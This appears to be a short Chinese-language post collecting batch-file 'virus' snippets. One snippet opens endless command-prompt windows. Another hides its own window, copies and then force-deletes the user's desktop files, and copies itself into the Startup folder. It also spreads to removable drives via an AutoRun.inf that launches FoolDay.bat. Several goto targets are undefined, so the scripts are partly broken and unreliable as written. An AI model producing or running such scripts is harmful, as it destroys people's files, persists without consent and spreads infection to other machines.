下面是從網上彙總和自己編寫的,轉載轉載請注明出處
無限彈窗病毒
@echo off
::這一行的意思是關閉回顯
:start
::運作某程式
cmd
::開始運作指令提示符
goto 1
::從第一行開始運作
@echo off
::隐藏運作視窗功能
if "%1" == "h" goto begin
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit
:start
::在C槽儲存桌面副本
xcopy "C:\Users\%username%\Desktop" C:\Desktopcopied /d /i>nul 2>nul
::清空桌面
del /f /s /q C:\Users\%username%\Desktop\*.*>nul 2>nul
goto 1
::開機自啟功能
xcopy "%0" "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
goto open
:scan
::U盤傳播功能
for %%i in (c d e f g h i j k l m n o p q r s t u v w x y z) do (
fsutil fsinfo drivetype %%i: | findstr /i "可移動驅動器" >nul 2>nul && set find=1
if defined find (
xcopy "%0" "%%i"
Echo [autorun]>>%%i\AutoRun.inf
Echo Open=FoolDay.bat>>%%i\AutoRun.inf
attrib +H %%i\AutoRun.inf
goto start1
)
)
goto start1